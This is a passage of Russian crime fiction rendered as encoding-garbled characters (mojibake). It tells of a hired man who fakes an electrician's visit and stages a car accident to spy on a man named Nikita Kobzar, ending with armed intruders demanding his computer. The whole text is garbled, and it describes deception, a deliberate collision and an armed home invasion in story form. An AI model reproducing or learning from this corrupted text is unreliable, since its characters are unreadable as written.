— Èìåííî òàê. È î÷åíü ïîæàëåë, ÷òî íå ìîãó ñôîòîãðàôèðîâàòü åãî
â ýòîò ìîìåíò — ñëèøêîì óáåäèòåëüíûì äîêàçàòåëüñòâîì áûëî áû
åãî ëèöî. Ê ñ÷àñòüþ, ÿ óìåþ ðàçãîâàðèâàòü ñ ëþäüìè, ó êîòîðûõ
ïðîáëåìû ñ ýëåêòðè÷åñòâîì — ÿ ïåðâûì äåëîì îáúÿñíÿþ, ÷òî â ñëó-
÷àå îòêàçà ÿ ïðèäó ñþäà ñ ìèëèöèåé è èíñïåêòîðîì ïîæàðíîé îõðà-
íû, à ïðè îêàçàíèè ìíå ñîäåéñòâèÿ ÿ, ìîæåò áûòü, äàæå ñìîãó êèíóòü
êàêîé-íèáóäü ïðîâîä ìèìî ñ÷åò÷èêà… Ýòî äåéñòâóåò áåçîòêàçíî. Îí
ïîäóìàë è âïóñòèë.
— ×òî áûëî âíóòðè? Ïîïîäðîáíåå, îáñòàíîâêà, çàïàõè, çâóêè…
— Çàïàõè — îáûêíîâåííûå, — óäèâèëñÿ âîïðîñó Êîðîòêîâ. — Äî-
ìàøíèå çàïàõè. Êàðòîøêà æàðåííàÿ, ýòî ïîìíþ ÷åòêî. Ê òîìó âðåìå-
íè ñàì åñòü õîòåë, ñëþíà òàê è ïîáåæàëà. Ïîòîì åùå ÷òî-òî, õèìèÿ êà-
êàÿ-òî — êàê áóäòî îí òîëüêî ÷òî êîâåð ÷èñòèë. ß òàêîãî çàïàõà íå
çíàþ, íî óæ î÷åíü ñ êàðòîøêîé íå ñî÷åòàëñÿ… Çâóêîâ íå áûëî íèêà-
êèõ — ÿ æå ñâåò âûêëþ÷èë. Òåëåâèçîð, åñòåñòâåííî, çàìîë÷àë.
— À êîãäà îí âûøåë ê âàì — ó íåãî â ðóêàõ íè÷åãî íå áûëî?
— Õì… — áóðêíóë Êîðîòêîâ. — Áûëî. Òî, ÷òî áûëî ó íåãî â ðóêàõ,
ñåé÷àñ ëåæèò ó ìåíÿ â êàðìàíå.
— ×òî ýòî? — íåòåðïåëèâî ñïðîñèëà òåëåôîííàÿ òðóáêà.
— Èíñòðóêöèÿ ê ëåêàðñòâó. Ê ìàçè ïîä íàçâàíèåì «Äèîêñèäèíîâàÿ».
Äåøåâàÿ, íàâåðíîå. Îí ýòó èíñòðóêöèþ â ðóêàõ ìÿë, à ïîòîì íà çåðêàëî
ïîëîæèë, à ÿ âçÿë è â êàðìàí ñóíóë — â òåìíîòå-òî íå ïîíÿòíî, ÷òî çà
áóìàãà. Äîìà ïî÷èòàë — îíà ïðåäíàçíà÷àåòñÿ äëÿ ëå÷åíèÿ âñÿêèõ ðàí,
ññàäèí, ïðîëåæíåé, åùå êàêîé-òî ãàäîñòè ñ òðóäíûìè íàçâàíèÿìè — åñ-
ëè õîòèòå, ÿ ìîãó â êàìåðó õðàíåíèÿ ïîëîæèòü âìåñòå ñ ôîòîàïïàðàòîì.
— Ïîëîæèòå, ïîæàëóéñòà… Óøèáû, ïðîëåæíè… Èíòåðåñíî… È êîãî
æå òàì óøèáëè?
— Õîçÿèí íà ÷åëîâåêà, êîòîðîìó íóæíà òàêàÿ ìàçü, ïîõîæ íå áûë, —
Êîðîòêîâ îòðèöàòåëüíî ïîêà÷àë ãîëîâîé. — Äà è ñàìó ìàçèëêó
ÿ íå óâèäåë, êîãäà ïî êâàðòèðå õîäèë. ß ñíà÷àëà âîøåë â áîëüøóþ
êîìíàòó, äëÿ âèäó îñìîòðåë âñå ðîçåòêè, õîäèë, ãîëîâîé êà÷àë ñ óì-
íûì âèäîì (ñàì æå çíàþ, ÷òî âñå â ïîðÿäêå). Çíà÷èò, âîò ÷òî çàïîì-
íèë — ó îêíà ñòîë ñ êîìïüþòåðîì, âîçëå ìîíèòîðà êó÷à êíèæåê. Ñ íàç-
âàíèÿìè òóãî, ìíîãî ÷åãî ïî-àíãëèéñêè, íî — íàñ÷èòàë òðè êíèãè, íà
êîðåøêàõ êîòîðûõ áûëî íàïèñàíî «×òî-òî òàì äëÿ ÷àéíèêîâ». Âîîáùå
òåìíîâàòî áûëî, âñå-òàêè ñóìåðêè…
— Ëèòåðàòóðû â êîìíàòå áûëî ìíîãî?
— Íåò. Êíèæíîãî øêàôà íå âèäåë, òîëüêî íàä ìîíèòîðîì íà ïîëî÷êå
êàêèå-òî òîëñòûå òîìèêè. Ïîõîæå, ñòèõè, âèäåë ôàìèëèè Åñåíèíà,
Öâåòàåâîé… Ïîíèìàåòå, ÿ òîëüêî ïîòîì ïîíÿë, ÷òî ñâåòà íåò, è
âñïûøêó áóäåò âèäíî â êâàðòèðå èç ëþáîé êîìíàòû — ãëàç îòìåòèò åå
â ïîëóìðàêå îáÿçàòåëüíî. Ïîýòîìó ÿ ðåøèë, åñëè âûïàäåò âîçìîæ-
íîñòü, ôîòîãðàôèðîâàòü áåç âñïûøêè — à òàì áóäü ÷òî áóäåò.
— Íè÷åãî ñòðàøíîãî, íà êîìïüþòåðå ìîæíî âûòÿíóòü äî íîðìàëüíîãî
êà÷åñòâà ëþáóþ ôîòîãðàôèþ. Ïðîäîëæàéòå.
— Õîðîøî. Ïîùåëêàòü ìíå óäàëîñü — õîçÿèí îòëó÷èëñÿ íà êóõíþ, òàì
æóð÷àëà âîäà, çâåíåëà ïîñóäà. ß íàïðàâèëñÿ ñëåäîì çà íèì, îãëÿäåë
âñå, ÷òî áûëî íàäî, è òàì. Íè÷åãî îñîáåííîãî — ïðîñòàÿ êóõíÿ. Ó ìåíÿ
òàêàÿ æå — â ìåðó áàðäàê, â ìåðó áóòûëîê ïîä ðàêîâèíîé… ß ïîíÿë,
÷òî îí æäåò íå äîæäåòñÿ, êîãäà æå ÿ óéäó, ïî÷èíèâ âñå.
— Ìàëî, ìàëî èíôîðìàöèè, — óñëûøàë Êîðîòêîâ.
— Ïîíèìàþ, ÷òî ìàëî, íî ÿ íå çíàþ, ÷òî èìåííî âû èñêàëè, âåäü ÿ äà-
ëåêî íå ñóïåðøïèîí… Íî — åñòü êîå-÷òî, ñâÿçàííîå ñ îñòàâøåéñÿ
êîìíàòîé. Òóäà ÿ ïîïàñòü íå ñìîã…
— Ïî÷åìó? ×åì îí ýòî ìîòèâèðîâàë?
— Íè÷åì. Îí ïðîñòî ãðóäüþ âñòàë ïåðåä äâåðüþ, ñêàçàâ, ÷òî òàì
ó íåãî âîîáùå íåò ýëåêòðîïðèáîðîâ, ÷òî òàì ñ ïðîâîäêîé âñå íîð-
ìàëüíî, ÷òî îí ïðîñòî âûðàùèâàåò êàêèå-òî î÷åíü ðåäêèå ðàñòåíèÿ
â êà÷åñòâå õîááè, è îíè î÷åíü ÷óâñòâèòåëüíû ê ãîñòÿì è ÷óòü ëè íå
íà êîðíþ çàñûõàþò, îïðåäåëÿÿ íåçíàêîìöà… Îí ìîëîë ýòó ÷åïóõó

ÕÎÇßÈÍ
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ìèíóò ïÿòü, íå äàâàÿ ìíå âñòàâèòü íè ñëîâà, ïîòîì âäðóã çàìîë÷àë è
óõâàòèëñÿ çà äâåðíóþ ðó÷êó. Ïî÷åìó-òî ÿ ïîíÿë, ÷òî ìíå â òó êîìíà-
òó òî÷íî íå ïîïàñòü.
— Âû ïûòàëèñü óãðîæàòü òàê æå, êàê â ñàìîì íà÷àëå?
— Äà. Îí áûë íåïðåêëîíåí. Íàâåðíîå, îí ïî÷óâñòâîâàë, ÷òî ÿ íèêîãî
íå ïðèâåäó, ïîòîìó è áèëñÿ äî ïîñëåäíåãî. Ïîýòîìó ÿ ìàõíóë ðóêîé è
âûøåë íà ëåñòíèöó. Çàïàõ ãîðÿùåãî ïðîâîäà ê òîìó âðåìåíè ïðàêòè-
÷åñêè âûâåòðèëñÿ, ÿ ùåëêíóë àâòîìàòàìè… È óâèäåë ó íåãî âîçëå
âõîäíîé äâåðè áîëüøîé ïàêåò ñ ïàìïåðñàìè. Ïðåäñòàâëÿåòå?
— Îïÿòü… — âûäîõíóë ñîáåñåäíèê.
— Öåëàÿ ïà÷êà! Åùå çàêðûòàÿ. Íî äåòåé è ÷åãî-íèáóäü ñ íèìè ñâÿçàí-
íîãî â êâàðòèðå òî÷íî íå áûëî. Íå áûëî èãðóøåê, ïëà÷à, æåíñêîãî
ó÷àñòèÿ — íè÷åãî. Ìîæåò, îí ñàì ÷åì-òî áîëåí?
— Íå äóìàþ, íå äóìàþ, — â òåëåôîíå ãîëîñ çâó÷àë î÷åíü è î÷åíü çà-
äóì÷èâî. — Âû âêëþ÷èëè åìó ñâåò — è óøëè?
— Äà.
— È îí íè÷åãî íå çàïîäîçðèë?
— Óâåðåí.
— Õîðîøî. Âåðíåòå âñå â êàìåðó õðàíåíèÿ — òàì óæå ëåæèò âàø ãîíî-
ðàð. Ñïàñèáî, âû õîðîøî ïîðàáîòàëè.
— Ïîæàëóéñòà, — Êîðîòêîâ ïîëîæèë òðóáêó. Äåíüãè — ýòî õîðîøî.
Ýòî ïðîñòî çäîðîâî. Æàëü, åñëè òîò ïàðåíü áîëåí. À èíà÷å — çà÷åì
åìó ïàìïåðñû?..

* * * 
— Âû ñóìååòå?
— Ãëóïûé âîïðîñ. ß çàðàáàòûâàþ ýòèì äåíüãè.
— Ñàìîå ãëàâíîå — óáåäèòü ÷åëîâåêà â òîì, ÷òî ìèëèöèÿ ñîâåðøåí-
íåéøèì îáðàçîì íå íóæíà.
— À êàê âû äóìàåòå — íåóæåëè ÿ äåëþñü åùå è ñ ìèëèöèåé?
— Äóìàþ, âðÿä ëè.
— Òî÷íî. Íè÷åãî íå áîéòåñü.
— Áîÿòüñÿ ïðèäåòñÿ. Îí ìíå î÷åíü íóæåí. Íóæåí öåëûì è íåâðåäè-
ìûì. Ðàññ÷èòàéòå âñå î÷åíü è î÷åíü òî÷íî.
— ß ïîâòîðÿþ — ýòî ìîé çàðàáîòîê. À æèâó ÿ — ìíå êàæåòñÿ, ÷òî âû
â êóðñå — äàëåêî íå áåäíî. Åñëè áû ó ìåíÿ íå ïîëó÷àëîñü, òî äåíåã
ìíå íå âèäàòü, êàê ñâîèõ óøåé.
— Ëàäíî, ÷åðò ñ âàìè… Äåëàéòå âñå, ÷òî îò âàñ çàâèñèò.
— Ñàìîå ãëàâíîå, ÷òîáû âû íå çàáûëè âûïîëíèòü ñâîþ ÷àñòü ðàáîòû.
Âåäü ñåãîäíÿ ÿ áóäó âïåðâûå â æèçíè äåëàòü âñå íàîáîðîò. È ýòà ðàáî-
òà ìîæåò ïðèíåñòè ìíå äåíüãè òîëüêî â ñëó÷àå âàøåé ÷åñòíîñòè. À óæ
ñêîëüêî â ýòîì ìèðå ÷åñòíîñòè, ÿ çíàþ òî÷íî. Íèñêîëüêî.
— Íå ñóäèòå ñòðîãî. ß çàèíòåðåñîâàí â ðåçóëüòàòå. Î÷åíü çàèíòåðåñî-
âàí. Ïîñòàðàéòåñü…
— Ìíå ïåðåñòàåò íðàâèòüñÿ íàø ðàçãîâîð. Ìû îáñóæäàåì îäíî è òî æå
ðàçíûìè ñëîâàìè. Äàâàéòå çàíèìàòüñÿ êàæäûé ñâîèì äåëîì. Äî çàâòðà.

×åëîâåê âûêëþ÷èë òåëåôîí, ñïðÿòàë åãî â êàðìàí è âûøåë èç
äæèïà, â êîòîðîì ñèäåë. Îáîéäÿ åãî âîêðóã, îí âíèìàòåëüíî îñìîòðåë
ìàøèíó, âçÿë ñ ïåðåäíåãî ñèäåíüÿ «ñêîò÷» è çàêëåèë íåñêîëüêèìè ïî-
ëîñàìè ôàðû è ïåðåäíèå êðûëüÿ, ïîñëå ÷åãî àêêóðàòíî çàïîëèðîâàë
åãî òðÿïî÷êîé äî ïðàêòè÷åñêè íåâèäèìîãî ñîñòîÿíèÿ. Âåðíóâøèñü íà
âîäèòåëüñêîå ñèäåíüå, îí åùå ðàç âçãëÿíóë íà ôîòîãðàôèþ, ñòîÿâ-
øóþ âîçëå ëîáîâîãî ñòåêëà, ïîñìîòðåë ïî ñòîðîíàì, ïîòîì íà ÷àñû è
âêëþ÷èë ðàäèî. Ó íåãî åùå áûëî âðåìÿ…

×åðåç ñîðîê øåñòü ìèíóò îí óáðàë ôîòîãðàôèþ ñî ñòåêëà, ñäå-
ëàë çâóê ïîòèøå, âäîõíóë ãëóáîêî, øåïíóë ñåáå ïîä íîñ ïàðó óñïîêàè-
âàþùèõ ôðàç, îòúåõàë îò ñòîÿíêè è íà ïåøåõîäíîì ïåðåõîäå ñáèë ÷å-
ëîâåêà ïî èìåíè Íèêèòà Êîáçàðü…

* * *
— Äà, ñëóøàþ… Íåò, ÿ â ìàøèíå, îäèí. Ìîãó ãîâîðèòü. Ñïðàøèâàéòå.
— Ó âàñ ïîëó÷èëîñü? Îí æèâ?
— Áåçóñëîâíî. Òàê, ìåëêèå öàðàïèíû.
— Êàê âû ðåàëèçîâàëè ïëàí?
— Î÷åíü ïðîñòî. Ñáèë åãî — àêêóðàòíî, ïîâåðüòå ìíå íà ñëîâî. ß âëà-
äåþ ìàøèíîé â ñîâåðøåíñòâå, íåäàðîì ìîé áèçíåñ ñîñòîèò â ïîäñòàâàõ.
Ìíå ñîâåðøåííî íå íóæíû ðàçáèòûå â ïóõ è ïðàõ àâòîìîáèëè. Íå áîëü-
øå ÷åì ìåëî÷ü, êîòîðóþ ìîæíî çàðèõòîâàòü è çàäóòü êðàñêîé â òå÷åíèå
÷àñà. Òàê è ñ ÷åëîâåêîì. Íèêèòà îòäåëàëñÿ ëåãêèì èñïóãîì, à íà ìàøèíå
áûëî çàêëååíî êðûëî — îí, êîíå÷íî, ýòîãî íå çàìåòèë. Òîðìîçà âèçæàò,
âñå îðóò… Òóò ãëàâíîå áûñòðî âûñêî÷èòü è âòàùèòü åãî âíóòðü.
— Êòî-íèáóäü âûçâàë ìèëèöèþ?
— Î÷åíü äàæå ìîæåò áûòü. Íî ÿ îêàçàëñÿ áûñòðåå. Ïîäáåæàë, ïîìîã
ïîäíÿòüñÿ, íà õîäó ïðèäóìûâàÿ êàêèå-òî íè÷åãî íå çíà÷àùèå ôðàçû…

Îí äàæå íå ïîíÿë, ÷òî ïðîèçîøëî, ýòàêàÿ øîêîâàÿ ñèòóàöèÿ. Íî îí,
çíàåòå, ÿâíî íàðóøàë ïðàâèëà, øåë íà êðàñíûé…
— Òàê âû íå ñêàçàëè, ìèëèöèÿ áûëà?
— ×òî âû ïðèñòàëè ñî ñâîåé ìèëèöèåé?! ß óâåç åãî ÷åðåç äåñÿòü ñå-
êóíä! Ñêàçàë, ÷òî ìû åäåì â òðàâìïóíêò, ÷òî âñå áóäåò õîðîøî… Óæå
÷åðåç ìèíóòó ÿ ïîíÿë, ÷òî êðîìå ññàäèí íà ëàäîíÿõ è ïîðâàííîé øòà-
íèíû ó íåãî íåò íè÷åãî ñåðüåçíîãî. Ïîñëå ÷åãî ñòàë äàâèòü íà æàëîñòü,
ïðîñèë íå âûçûâàòü ìèëèöèþ, íå îòêðûâàòü íèêàêèõ äåë, ÷òî ó ìåíÿ
ñåìüÿ, òðîå äåòåé è ïðî÷àÿ ÷åïóõà. Îí ïîñòåïåííî çàïàäàë íà ïîäîá-
íûå óãîâîðû. Ïîñëå íûòüÿ íà òåìû æàëîñòè ÿ âñêîëüçü óïîìÿíóë
î äåíüãàõ — îí òóò æå çàöåïèëñÿ çà ýòó òåìó. ß ñêàçàë, ÷òî äåíüãè
ó ìåíÿ åñòü — ÿ äàì åìó ñòîëüêî, ñêîëüêî îí ñ÷èòàåò íóæíûì, â ïðåäå-
ëàõ ðàçóìíîãî, åñòåñòâåííî.
— È êàêîâ æå áûë äëÿ íåãî ïðåäåë ðàçóìíîãî?
— ß ÷óâñòâîâàë, ÷òî îí ñåé÷àñ çàëîìèò òûñÿ÷ó äîëëàðîâ, íî ê òîìó ìî-
ìåíòó è îí ñàì ïðåêðàñíî ïîíèìàë, ÷òî íå ïîñòðàäàë. Ñîøëèñü íà ïÿ-
òèñòàõ. ß äîâåç åãî äîìîé, îñòàâèë â çàëîã ñîòîâûé òåëåôîí, âûòàùèâ
èç íåãî «ñèìêó», ïîñëå ÷åãî îòúåõàë ìåòðîâ íà òðèñòà îò äîìà, ïåðåêó-
ðèë è ÷åðåç äâàäöàòü ìèíóò âåðíóëñÿ — ñ äåíüãàìè, êîòîðûå âñå ýòî
âðåìÿ áûëè ó ìåíÿ â êàðìàíå.
— Îí âïóñòèë âàñ?
— Äà, áåç âîïðîñîâ. Íî äâåðü îòêðûâàë äîëãî, ïîõîæå, ÷òî-òî òî ëè
ïðÿòàë, òî ëè íàâîäèë ïîðÿäîê… ß íå ïîíÿë. Âîøåë è ñðàçó óâèäåë,
÷òî îí çàáèíòîâàë ðóêó — ïîâåðüòå ìíå íà ñëîâî, â ýòîì íå áûëî íåîá-
õîäèìîñòè; ÿ äàæå ðåøèë, ÷òî îí îïÿòü áóäåò ïðîñèòü áîëüøå, íî
îáîøëîñü — îí ïðîñòî äåëàë âèä, ÷òî åìó áîëüíî. Ìîæåò, òàê è áûëî…
— Äàëüøå.
— Íå òîðîïèòå ìåíÿ. Âû ñàìè ïðîñèëè ïîïîäðîáíåå. Èòàê, ÿ âîøåë, îí
ïðîâåë ìåíÿ íà êóõíþ, ÿ ñðàçó äîñòàë äåíüãè ïðîòÿíóë èõ ïàðíþ. È —
âû íå ïîâåðèòå! — îí ìàøèíàëüíî âçÿë èõ áîëüíîé ðóêîé. Âçÿë, ïåðåñ-
÷èòàë — õîòÿ ÷åãî òàì ñ÷èòàòü, ïÿòü áóìàæåê ïî ñòî, ìîæíî ïðîñòî âå-
åðîì ðàñêðûòü è âñå óâèäåòü. Ìû ñåëè çà ñòîë, ÿ åùå íåñêîëüêî ðàç
èçâèíèëñÿ… Òàêàÿ ìåðçîñòü — ïðîãèáàòüñÿ íåïîíÿòíî çà ÷òî, íî äà
áîã âàì ñóäüÿ, çà òå äåíüãè, ÷òî âû ìíå ïîñóëèëè, ÿ ãîòîâ æàáó ñîæ-
ðàòü. Ïîòîì ÿ âûòàùèë ôëÿæêó ñ êîíüÿêîì. Îí ïîíà÷àëó îòíåêèâàëñÿ,
íî ÿ óìåþ óáåæäàòü ëþäåé. Ìû âûïèëè, îí èçîáðàçèë êàêóþ-òî çàêóñ-
êó — â õîëîäèëüíèêå áûëî øàðîì ïîêàòè, îí èçâèíèëñÿ, ñêàçàë, ÷òî
ñîáèðàëñÿ çàéòè â ìàãàçèí, íî òóò âîò âñÿ ýòà èñòîðèÿ… Õîòü áû ìåíÿ
íå ñìåøèë, ÷òî ëè, ñâîèì áèíòîì. Íåïðèÿòíûé ÷åëîâåê, ñêàæó âàì.
— Âåðþ. Íî ìíå íå ëþáîâü åãî íóæíà è íå ìîðàëüíûå êà÷åñòâà…
— Â êàêîé-òî ìîìåíò ÿ ïîæàëåë, ÷òî íå äîãàäàëñÿ ñûïàíóòü âî ôëÿãó
êëîôåëèí. Ãëÿäèøü, ìîæíî áûëî è êâàðòèðêó îñìîòðåòü…
— Îí áû äîãàäàëñÿ. Ñðàçó äîãàäàëñÿ, ÷òî ýòî ïîäñòàâà. À âû æå áûëè
íà ñâîåé ìàøèíå ñ ðîäíûìè íîìåðàìè. Õîðîøî, ÷òî íå ñäåëàëè ýòó
ãëóïîñòü.
— Ñïàñèáî çà ïîõâàëó, ÿ îá ýòîì òîæå ïîäóìàë. Òàê âîò — îêàçûâàåò-
ñÿ, íàïèâàåòñÿ îí áûñòðî. ×åðåç ïàðó-òðîéêó ðþìîê ñòàë ÷èòàòü ìíå
ñòèõè. Ìàññó ñòèõîâ è, çàìåòüòå, íåêîòîðûå äàæå ìíå ïîíðàâèëèñü.
Îí ðàçìàõèâàë ðóêàìè è äàæå îäèí ðàç ñòóêíóë çàáèíòîâàííîé ðóêîé
ïî ñòîëó, ñîâåðøåííî íå çàìåòèâ òàêîãî ïðîêîëà â îáðàçå.
— Âû ÷òî-íèáóäü óçíàëè èç ïðî÷èòàííîãî?
— Íó êòî æå íå çíàåò ñòèõîâ âðîäå «ß îáìàíûâàòü ñåáÿ íå ñòàíó…»
èëè «Ïî óëèöå ìîåé êîòîðûé ãîä…». Êëàññèêà.
— Åñåíèí. À âòîðîå?
— À ýòî âàæíî?
— Íå äóìàþ. Ïðîñòî ÷òî-òî î÷åíü çíàêîìîå.
— ß ñàì íå ïîìíþ àâòîðà. Ýòî ðîìàíñ èç «Èðîíèè ñóäüáû».
— Òî÷íî, — îáðàäîâàíî îòâåòèë òåëåôîí. — Íî ýòî âñå ëèðèêà. Äàëüøå.
— Äàëüøå — áîëüøå. Ôëÿãà îïóñòåëà. Îí äîñòàë áóòûëêó èç-çà ïëè-
òû. Êîíüÿê. Òàê ñåáå, íî äåâàòüñÿ áûëî íå-
êóäà. ß, êîíå÷íî, ïîäãîòîâèëñÿ, çà ÷àñ äî
ýòîãî âûïèë ïàðó àñïèðèíà, ïîòîì ïîäñîë-
íå÷íîãî ìàñëà… Ïüÿíåë ÿ ìåíüøå, íî ïî-
äûãðûâàë íåïëîõî… ß ïîìíèë âàøè ñëîâà
î òîì, ÷òî åñòü â êâàðòèðå êîìíàòà, êóäà
ïðàêòè÷åñêè íåâîçìîæíî ïîïàñòü ïîñòî-
ðîííåìó ÷åëîâåêó. È âû íå ïîâåðèòå —
ìíå óäàëîñü-òàêè òóäà ïîïàñòü; ïðàâäà,
âñåãî íà íåñêîëüêî ñåêóíä…
— Íå ìîæåò áûòü! — ñîáåñåäíèê íå ñäåðæàë-
ñÿ. — Êàê âû ñìîãëè? ×òî âû òàì óâèäåëè?
— Åùå òîëüêî âîéäÿ â êâàðòèðó, ÿ ïðèíÿë
ðåøåíèå. È ðåàëèçîâàë åãî, óõîäÿ. Èçîá-
ðàçèâ èç ñåáÿ èçðÿäíî âûïèâøåãî ÷åëî-
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âåêà, ÿ óïàë íà ýòó äâåðü è ââàëèëñÿ â êîìíàòó. Íà ìîå ñ÷àñòüå,
çàìêà â ýòîé äâåðè íå áûëî.
— ×òî òàì áûëî?
— Ñëîæíî îòâåòèòü îäíîçíà÷íî. Âî-ïåðâûõ, òàì áûëî òåìíî. Âî-âòî-
ðûõ, óïàë ÿ âñå-òàêè íåóäà÷íî — ñïèíîé âïåðåä, ïîýòîìó âèäåë òîëü-
êî íåáîëüøóþ ÷àñòü êîìíàòû. Â-òðåòüèõ, ó ìåíÿ âîçíèêëî îùóùåíèå,
÷òî ïîïàë ÿ â áîëüíèöó… Ïîòîì ÿ ïîíÿë, ÷òî, âîéäÿ ê íåìó äîìîé, ñðà-
çó îáðàòèë âíèìàíèå íà êàêîé-òî çàïàõ, òùàòåëüíî çàáðûçãàííûé äå-
çîäîðàíòàìè. Ïîïàâ â êîìíàòó, ñîîáðàçèë — ïàõíåò áîëüíè÷íîé ïà-
ëàòîé… Â óãëó êîìíàòû ñòîÿë êîìïüþòåð è åùå ÷òî-òî, ñ íèì ñâÿçàí-
íîå. Êàêîé-òî áîëüøîé ïðèáîð, êó÷à äàò÷èêîâ, ïðîâîäîâ — à ïîâåðõ
âñåãî ýòîãî «óòêà» äëÿ òÿæåëîáîëüíûõ. Â äðóãîì óãëó — íåñêîëüêî
óïàêîâîê ïàìïåðñîâ…
— ×åðò ïîáåðè, îïÿòü ýòè ïàìïåðñû! Èçâèíèòå, ïðîäîëæàéòå!
— Îí ðàçó æå áðîñèëñÿ ìåíÿ ïîäíèìàòü. Ìíå ïîêàçàëîñü, ÷òî îí äàæå
ïðîòðåçâåë åñëè íå ñîâñåì, òî õîòÿ áû íàïîëîâèíó. Îí ðóãàëñÿ, ìàòå-
ðèëñÿ, äåðãàë ìåíÿ çà ðóêè è çà íîãè, ÿ ïðîäîëæàë èçîáðàæàòü ïüÿíî-
ãî, ïàðó ðàç ñíîâà óïàë — è ìîãó ñêàçàòü òî÷íî, â êîìíàòå âîçëå îêíà
ñòîèò êðîâàòü. È íà íåé êòî-òî ëåæèò.
— Ðåáåíîê? Ìóæ÷èíà? Æåíùèíà? Êòî?
— Íà ýòîò âîïðîñ íåò îòâåòà. Îí âûòîëêàë ìåíÿ â êîðèäîð è ïèõíóë íà
ïëîùàäêó, âûêèíóâ ñëåäîì ìîè òóôëè. Äâåðü çàêðûëàñü, è ÿ òàê è
íå óçíàë, êîãî æå îí ïðÿ÷åò çà äâåðüþ. Ïëþñ ìîé êîøåëåê ñòàë áåäíåå
íà ïÿòü ñîòåí äîëëàðîâ…
— ß êîìïåíñèðóþ âàì âñå, — çàâåðèë åãî ñîáåñåäíèê. — Âàøà èí-
ôîðìàöèÿ áåñöåííà. Äóìàþ, ÷òî âû áóäåòå ïîñëåäíèì çâåíîì â òîé
öåïî÷êå, ÷òî âüåòñÿ âîêðóã ýòîãî ÷åëîâåêà. Òåïåðü ÿ çíàþ äîñòàòî÷-
íî… Íå âñå, íî, òåì íå ìåíåå, ìîãó ïðåäïðèíÿòü òî, î ÷åì äàâíî äó-
ìàþ. Âàøå âîçíàãðàæäåíèå áóäåò òàì, ãäå âû óêàçàëè ïðè ïåðâîì íà-
øåì êîíòàêòå.
— Áëàãîäàðþ. Çíàåòå, õî÷ó ñêàçàòü âàì ñâîå ïðåäïîëîæåíèå… Ýòîò
ïàðåíü, êòî áû îí íè áûë… Òàì ÷òî-òî î÷åíü è î÷åíü íå÷èñòî. Ìíå ïî-
êàçàëîñü, ÷òî òîò ÷åëîâåê… Òî íåïîíÿòíîå ñóùåñòâî â êîìíàòå…
Îí íå óõàæèâàåò çà íèì, êàê çà áîëüíûì. Îí åãî èñïîëüçóåò. Ýòî ÷èñòî
èíòóèòèâíîå ïðåäïîëîæåíèå, íå ñî÷òèòå ìåíÿ çà Íîñòðàäàìóñà,
ÿ íå ïðåäñêàçûâàþ, ÿ ïðîñòî íàïðàâëÿþ âàøè ìûñëè… È ÿ óâåðåí,
÷òî ÿ íå îøèáàþñü.
— Ñïàñèáî. Ìíå â ãîëîâó ïðèøëî òî æå ñàìîå, à ïåðâîå âïå÷àòëåíèå
îáû÷íî — ñàìîå òî÷íîå. Ïðîùàéòå.

* * *
Â äâåðü ïîçâîíèëè. Íèêèòà âñòàë ñ êðåñëà, ïîäîøåë ê äâåðè. Â ãëàçêå
îí óâèäåë êàêîãî-òî íåçíàêîìöà; ÷ðåçâû÷àéíî ïðåäñòàâèòåëüíûé âèä
åãî ïîäåéñòâîâàë óñïîêàèâàþùå — â ïîñëåäíåå âðåìÿ ñëèøêîì ìíîãî
ëþäåé ðàçäðàæàëè åãî ñâîèì âòîðæåíèåì â ÷àñòíóþ æèçíü. Òî ýëåêò-
ðèê ïðèïåðñÿ ñî ñâîèìè ïðîáëåìàìè, òî ýòîò ïðèäóðîê íà äæèïå, ââà-
ëèëñÿ â êîìíàòó, êàê ìåøîê ñ äåðüìîì…

Êîðî÷å, âèä ãîñòÿ çà äâåðüþ ïðîèçâåë áëàãîïðèÿòíîå âïå÷àòëå-
íèå. Êîáçàðü îòêðûë äâåðü è åäâà óñïåë îòêðûòü ðîò, ÷òîáû ïðîèçíåñ-
òè ÷òî-òî òèïà «Äîáðûé äåíü, âû ñëó÷àéíî íå îøèáëèñü?..», êàê îòêó-
äà-òî ñáîêó øàãíóë åùå îäèí ÷åëîâåê, îáõâàòèë åãî òàê öåïêî, ÷òî
âûðâàòüñÿ íå ïðåäñòàâèëîñü íèêàêîé âîçìîæíîñòè, çàæàë ðîò, à äðó-
ãîé ðóêîé ïðèñòàâèë ê ãîëîâå ïèñòîëåò.
— Íå ñòîèò óñòðàèâàòü âñå ýòî íà ïëîùàäêå, — ñêàçàë ïåðâûé íåçíà-
êîìåö. — Íàäåþñü, âû íàñ ïðèãëàñèòå?

Íèêèòà áåøåíî çàêèâàë ãîëîâîé. Ñòðàõ âçîðâàë âåñü åãî ìèð; êà-
êèì-òî êðàåøêîì ñîçíàíèÿ îí ïîíèìàë, ÷òî ñòîèò íà íîãàõ òîëüêî ïî-
òîìó, ÷òî åãî öåïêî äåðæèò ñèëüíàÿ ÷óæàÿ ðóêà. È åùå — îí áûë òâåð-
äî óâåðåí (äàæå ñåé÷àñ!), ÷òî âñåãî ýòîãî ïðîñòî íå ìîæåò áûòü.

Íî ýòî áûëî.
Îíè âîøëè â êâàðòèðó. ×åëîâåê, êîòîðûé ðóêîâîäèë âñåì ýòèì

ïðîöåññîì, àêêóðàòíî çàêðûë äâåðü, îñìîòðåëñÿ, ïîòîì ñêàçàë:
— Ó âàñ äîëæåí áûòü êîìïüþòåð. Âåðíî?

Êîáçàðü êèâíóë.
— Äàé åìó ñêàçàòü…

Ðóêó óáðàëè.
— Åñòü, — âûäîõíóë Íèêèòà. — Â êîìíàòå… Âû êòî?
— Â êàêîé èç äâóõ?
— Òàì, — ìàõíóë ãîëîâîé Êîáçàðü â ñòîðîíó ãîñòèíîé. — Çà÷åì ÿ âàì
íóæåí?
— Óâåðåíû, ÷òî èìåííî òàì? — ïåðåñïðîñèë íåçíàêîìåö. — Êîìíàò
âñå-òàêè äâå…
— Òàêèå âåùè òðóäíî ïåðåïóòàòü, — Êîáçàðü íåìíîãî îñâîèëñÿ ñ òåì,
÷òî åãî óæå íå äåðæàò. Ïðàâäà, îí âèäåë, ÷òî ïèñòîëåò íèêóäà íå óáðà-

ëè, íî âñå-òàêè — ñìåëîñòè ïðèáàâèëîñü. Áèòü åãî ïîêà íå ñîáèðà-
ëèñü, íà îãðàáëåíèå ýòî òîæå íå áûëî ïîõîæå. — Â äîìàõ îáû÷íî ïîì-
íîãó êîìïüþòåðîâ íå äåðæàò, ýòî íå êëóá.
— Ñîãëàñåí. Ïðîâîäèòå íàñ ê ýòîìó êîìïüþòåðó. È áåç ãëóïîñòåé òèïà
